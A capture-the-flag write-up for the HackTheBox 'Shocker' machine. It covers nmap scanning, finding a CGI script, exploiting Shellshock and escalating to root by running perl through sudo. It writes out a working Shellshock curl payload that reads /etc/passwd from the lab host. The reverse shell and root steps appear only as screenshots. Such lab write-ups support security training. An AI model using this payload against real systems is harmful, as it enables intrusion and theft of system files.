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https://github.com/AbdullahRizwan101/CTF-Writeups
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63 lines
2.9 KiB
Markdown
63 lines
2.9 KiB
Markdown
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# HackTheBox-Shocker
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## NMAP
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```bash
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PORT STATE SERVICE REASON VERSION
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80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
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| http-methods:
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|_ Supported Methods: GET HEAD POST OPTIONS
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Site doesn't have a title (text/html).
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2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
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| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gp
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NcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQq
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qj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
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| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
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| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9K
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AtWltmk3qm4oc=
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| 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
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|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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## PORT 80 (HTTP)
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On the web server we only get a static html page
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<img src="https://i.imgur.com/8O2skgK.png"/>
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But there wasn't anything on this page , so after searching exploits for apache 2.4.18 , I saw a vulnerability called `shellshock`
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<img src="https://i.imgur.com/jr3EQb4.png"/>
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So maybe there's a folder `cgi-bin` on web server but on running `gobuster` and `dirsearch` it wasn't showing so I assumed it's on the webserver and I fuzz for files with the extensions `pl,rb,sh,py`
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<img src="https://i.imgur.com/hDewIfH.png"/>
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We can see `user.sh` is in `cgi-bin` directory ,cgi-bin is a folder used to house scripts that will interact with a Web browser to provide functionality for a Web page or website. Common Gateway Interface (CGI) is a resource for accommodating the use of scripts in Web design.
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Now let's check if it's vulnerable to shellshock
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```bash
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curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
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http://10.10.10.56/cgi-bin/user.sh
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```
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<img src="https://i.imgur.com/1aPsX2v.png"/>
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We can get a bash reverse shell
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<img src="https://i.imgur.com/y0n9KwZ.png"/>
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Now to escalate to a user , in this case we have only a root user to escalate to , we can check what we can run as sudo so in order to do that we'll run the command `sudo -l`
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<img src="https://i.imgur.com/U4tkxxP.png"/>
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We can run `perl` as root so let's visit GTFOBINS to see how we can abuse this
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<img src="https://i.imgur.com/aJDG7Lf.png"/>
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<img src="https://i.imgur.com/Pno3Xf4.png"/>
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